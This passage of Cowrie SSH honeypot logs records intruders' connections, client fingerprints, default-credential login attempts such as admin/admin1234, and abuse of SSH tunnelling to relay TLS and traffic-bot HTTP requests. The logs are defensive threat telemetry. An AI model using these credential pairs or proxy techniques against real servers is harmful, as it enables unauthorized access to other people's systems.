\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x03R\\xbc\\xec\\x7f\\xefL\\x9b \\x95_.\\xa2\\xf1\\xd6\\x17\\xcf\\'\\x0er\\xd4\\xd8\\'\\x16%\\x08\\xb8\\x02\\xef\\xb7\\xde\\xff A\\xb0\\xfd\\xa3\\xb2[#\\xf5\\xf7\\x012\\x03\\xfeB*\\xc3\\x8e\\xee\\xbeJ6_\\x85\\xfb_\\xd3V\\xe9V\\xacD_\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x94\\xb4\\xcc\\x91\\xa7pa\\xce\\xebE1?w5\\xa4\\x1ei-\\xa3\\xcfu\\x9e\\xae\\x16\\xaa\\xdd\\x0f\\x11\"/#p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.473394Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.613337Z","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.689545Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82#1!\\xea\\x0e\\xea\\rcF\\xa6.\\xa4J@<\\xfb\\xe1:n\\xbb\\xf8\\xa0\\x83\\xe8\\xad\\x9f\\xdd\\xe2\\x0b\\xda\\n \\x9do\\xe7%\\x12\\x17$b\\xe8E\\x1a\\x90\\xb6D\\xb4\\xadh\\xb3V\\x8d\\x1f\\xa8\\x8d\\xe0\\xc1%B\\xde!\\xd8\\xb3\\xa6\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfa\\x8c\\xbbL\\x8a\\xf5\\xc5\\xaeL\\x08Y\\xdex\\xa9\\xafT\\\\\\x99`\\xf4O&\\xc6\\xb1\\xbctM,}\\x9aug\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82#1!\\xea\\x0e\\xea\\rcF\\xa6.\\xa4J@<\\xfb\\xe1:n\\xbb\\xf8\\xa0\\x83\\xe8\\xad\\x9f\\xdd\\xe2\\x0b\\xda\\n \\x9do\\xe7%\\x12\\x17$b\\xe8E\\x1a\\x90\\xb6D\\xb4\\xadh\\xb3V\\x8d\\x1f\\xa8\\x8d\\xe0\\xc1%B\\xde!\\xd8\\xb3\\xa6\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfa\\x8c\\xbbL\\x8a\\xf5\\xc5\\xaeL\\x08Y\\xdex\\xa9\\xafT\\\\\\x99`\\xf4O&\\xc6\\xb1\\xbctM,}\\x9aug\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.693670Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":55354,"dst_ip":"10.17.0.5","dst_port":22,"session":"541be03d4aa0","protocol":"ssh","message":"New connection: 173.208.188.210:55354 (10.17.0.5:22) [session: 541be03d4aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.819305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.824756Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:25.973107Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":55089,"dst_ip":"159.203.135.109","dst_port":22,"session":"083b464cadac","protocol":"ssh","message":"New connection: 49.247.37.22:55089 (159.203.135.109:22) [session: 083b464cadac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:26.744760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:26.749300Z","src_ip":"49.247.37.22","session":"083b464cadac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:26.963150Z","src_ip":"49.247.37.22","session":"083b464cadac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester@2024","message":"login attempt [tester/tester@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:27.811035Z","src_ip":"49.247.37.22","session":"083b464cadac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:28.201792Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:28.330127Z","src_ip":"38.46.222.137","session":"2b4683215b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:29.023674Z","src_ip":"49.247.37.22","session":"083b464cadac","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:30.276603Z","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:30.335696Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VVVDUTAwbFFtKD81WWo%2BcA%3D%3DSRHPNqYH%2Fv2NhFsz%2BrsrdR6eZR5BYazk6KGO6kIP8DbkNYQRHFZqY3SJeJ1UClbdkAe%2BqhqZwaEhWVJRkry3mjBf9qfhqZMyfPaYRvng%2FPDzC3kkOPyEP31gqrb6cZDsQ2Vg%2Fhmt4SDl5Rb8HWxGcS%2Fr%2BfEoYaOECs%2Bq94xpJKb17JnPgTbh0Bc4%2BXDdY6JkyzNoXf%2BD0xZ2RNaCbSDEYYkDpbfymLDu0k1rvBkLqy%2BY1MGhnazFT28dfN5fe66cHmdFv30pQ1nHydoi7r9hLQJjzqXIqzeqj0hy60hgCEeXvpS93%2BTJG7XHCSdKlvK9Wty7X2ldEp7FqxbSajacM%2BagFhGj%2B4EHdgzADDMFg8sl9gov1tdZGB6Fc2z9jPmIqtRJuDDuSyWk57MyAyTgFg0yF0LC08wRZT%2F3nCxrtlwECCex0CtgKbtgIAljHImtBUt%2B75wMRlFjnGwckYkzcHDDbL%2BBUVoUZG3ICCU%2FTWxtp55A6rzXXIMhuea9Mkyr2eyM1N9lalpUsRTpmObMpUnNglh238YIbfhten5LqNMYUOH4O%2B%2FTId9Bv9tsPx6Y0SVFXNSaRIhEbVzJLl6LkI9jLOcwu8ha9EdOgj4gA9Rfp7v4eS%2F6GZuD2%2FtZzgyaDRSXFumJb9N7sFfXiY3iY80qudO22mTZcF2eScRJQTHxLTi8fvDn944vJA9OKwRRbi37fzADyQdMaGJw8u9HKrLk6Mp7zNtXXuvR3BNBhmr5aOxoxx3JNlgdpQoHdfZfkjoATNvBdQiNtLLHCqSoki7%2Byg85hOrS31qdEZc5h5j4YjVvcLvSj8h2%2FImzkBpYf0m5ekaKQwwGXhJOQYSsTa1AcBDL%2BJQ%2BtTPobSUQdaeL4n549T2iaU6mnqXRJm2FvlfNFZCO2%2FEFAH2jlH%2BXMMGI1v9DxcynghzCEkQAuazpecbWmJZ%2B5lWIE6dJ%2Bojih34j2q6GWi99BKxLrnrDRPhUw3MMV5F6VQgcxbggqIRhVoyq9jdwe8JIGYrvKE%2F5uPW476yQ%2FNbxE0kk3dI3IrlDn1eK0yh6NBGceRs3USuPB94D%2FSjitEPq4hn2zyCy'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4 Mobile/16G77 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VVVDUTAwbFFtKD81WWo%2BcA%3D%3DSRHPNqYH%2Fv2NhFsz%2BrsrdR6eZR5BYazk6KGO6kIP8DbkNYQRHFZqY3SJeJ1UClbdkAe%2BqhqZwaEhWVJRkry3mjBf9qfhqZMyfPaYRvng%2FPDzC3kkOPyEP31gqrb6cZDsQ2Vg%2Fhmt4SDl5Rb8HWxGcS%2Fr%2BfEoYaOECs%2Bq94xpJKb17JnPgTbh0Bc4%2BXDdY6JkyzNoXf%2BD0xZ2RNaCbSDEYYkDpbfymLDu0k1rvBkLqy%2BY1MGhnazFT28dfN5fe66cHmdFv30pQ1nHydoi7r9hLQJjzqXIqzeqj0hy60hgCEeXvpS93%2BTJG7XHCSdKlvK9Wty7X2ldEp7FqxbSajacM%2BagFhGj%2B4EHdgzADDMFg8sl9gov1tdZGB6Fc2z9jPmIqtRJuDDuSyWk57MyAyTgFg0yF0LC08wRZT%2F3nCxrtlwECCex0CtgKbtgIAljHImtBUt%2B75wMRlFjnGwckYkzcHDDbL%2BBUVoUZG3ICCU%2FTWxtp55A6rzXXIMhuea9Mkyr2eyM1N9lalpUsRTpmObMpUnNglh238YIbfhten5LqNMYUOH4O%2B%2FTId9Bv9tsPx6Y0SVFXNSaRIhEbVzJLl6LkI9jLOcwu8ha9EdOgj4gA9Rfp7v4eS%2F6GZuD2%2FtZzgyaDRSXFumJb9N7sFfXiY3iY80qudO22mTZcF2eScRJQTHxLTi8fvDn944vJA9OKwRRbi37fzADyQdMaGJw8u9HKrLk6Mp7zNtXXuvR3BNBhmr5aOxoxx3JNlgdpQoHdfZfkjoATNvBdQiNtLLHCqSoki7%2Byg85hOrS31qdEZc5h5j4YjVvcLvSj8h2%2FImzkBpYf0m5ekaKQwwGXhJOQYSsTa1AcBDL%2BJQ%2BtTPobSUQdaeL4n549T2iaU6mnqXRJm2FvlfNFZCO2%2FEFAH2jlH%2BXMMGI1v9DxcynghzCEkQAuazpecbWmJZ%2B5lWIE6dJ%2Bojih34j2q6GWi99BKxLrnrDRPhUw3MMV5F6VQgcxbggqIRhVoyq9jdwe8JIGYrvKE%2F5uPW476yQ%2FNbxE0kk3dI3IrlDn1eK0yh6NBGceRs3USuPB94D%2FSjitEPq4hn2zyCy'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:30.339075Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:32.049930Z","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:32.111664Z","src_ip":"23.175.50.52","session":"4b2501a34bb5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xee\\xbf!l\\x1b\\xa4C\\x18_\\xe2\\xc8\\x8f\\xef\\xe4T\\x7f\\xc1P\\xd0\\x9f\\x81o\\x91_\\xa5w\\xa9Gkp~ 2@\\xa0%\\xe9\\xca\\xb6\\x0b\\xf5\\x01'\\x1e[1\\xb3X\\x15\\n\\xc0c\\x04\\x8c\\x85\\x04w\\xd4v#\\x85\\xca<6\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 